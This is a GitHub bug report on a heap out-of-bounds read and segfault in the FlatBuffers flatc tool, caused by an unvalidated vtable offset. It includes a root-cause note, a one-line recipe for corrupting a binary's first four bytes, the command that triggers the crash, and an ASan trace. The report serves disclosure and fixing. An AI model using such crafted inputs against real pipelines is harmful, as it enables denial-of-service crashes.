Skip to content

Heap Buffer Overflow/SIGSEGV in flatc via Unvalidated vtable_offset in Binary Headers #8957

@amadhan882

Description

@amadhan882

Summary

FlatBuffers command-line tool flatc crashes with a segmentation fault when parsing a malformed binary buffer. The issue is reproducible with AddressSanitizer and results in a heap buffer overflow originating from unchecked reads inside the binary parsing path. The crash occurs during dereferencing of attacker-controlled offsets in the vtable. A specially crafted FlatBuffers binary is sufficient to trigger the memory corruption. No user interaction beyond invoking flatc is required.

Technical Details

The vulnerability is triggered by providing flatc with a malformed .bin file where the first 4 bytes (the root table offset) are overwritten with attacker-controlled values. The parser directly interprets these bytes as an offset into the buffer. When this offset is outside the valid allocated region, flatc performs uncontrolled reads which lead to a segmentation fault.

The crash consistently occurs in the method:

flatbuffers::ReadScalar<int>(void const*)
and propagates through:

  • Table::GetVTable()
  • Table::GetOptionalFieldOffset()
  • Table::CheckField()
  • JsonPrinter::GenStruct()

Since the tool does not verify the validity of the vtable offset before dereferencing it, an attacker-supplied offset results in a memory access outside the allocated heap buffer and ultimately causes the heap buffer overflow and subsequent crash.

Root Cause Analysis

table.h, the method GetVTable() calculates the pointer by subtracting a scalar read from the data without verifying if the resulting pointer stays within the allocated buffer.

Proof of Concept

Clone and build FlatBuffers with ASan:
git clone https://github.com/google/flatbuffers.git
cd flatbuffers
rm -rf build
mkdir build && cd build
cmake -DCMAKE_CXX_FLAGS="-fsanitize=address -g" \
      -DCMAKE_BUILD_TYPE=Debug \
      -DFLATBUFFERS_BUILD_TESTS=ON \
      ..
cmake --build .

Create a malformed FlatBuffers binary:

printf "\xFF\xFF\xFF\xFF" | dd of=mutated.bin bs=1 seek=0 count=4 conv=notrunc

Run flatc on the corrupted binary:

flatc --raw-binary --json --strict-json -t ../monster.fbs -- mutated.bin

Reproduce the crash under AddressSanitizer:

ASAN_OPTIONS=detect_leaks=0 ./flatc --raw-binary --json --strict-json -t ../monster.fbs -- mutated.bin

ASan Output (abbreviated)

==4898==ERROR: AddressSanitizer: SEGV on unknown address 0x519100000e4f
READ memory access
#0 flatbuffers::ReadScalar<int>()
#1 flatbuffers::Table::GetVTable()
#2 flatbuffers::Table::GetOptionalFieldOffset()
#3 flatbuffers::Table::CheckField()
#4 flatbuffers::JsonPrinter::GenStruct()
...
SUMMARY: AddressSanitizer: SEGV in flatbuffers::ReadScalar<int>()
The offset 0x519100000e4f is derived directly from the attacker-controlled first 4 bytes of the buffer.

Impact

While Google VRP has determined this does not cross a security boundary for their program, it represents a significant stability issue for CI/CD pipelines and automated tools that process FlatBuffers binaries, as it allows a malformed file to crash the compiler.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugflatcFlatBuffers Compiler

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions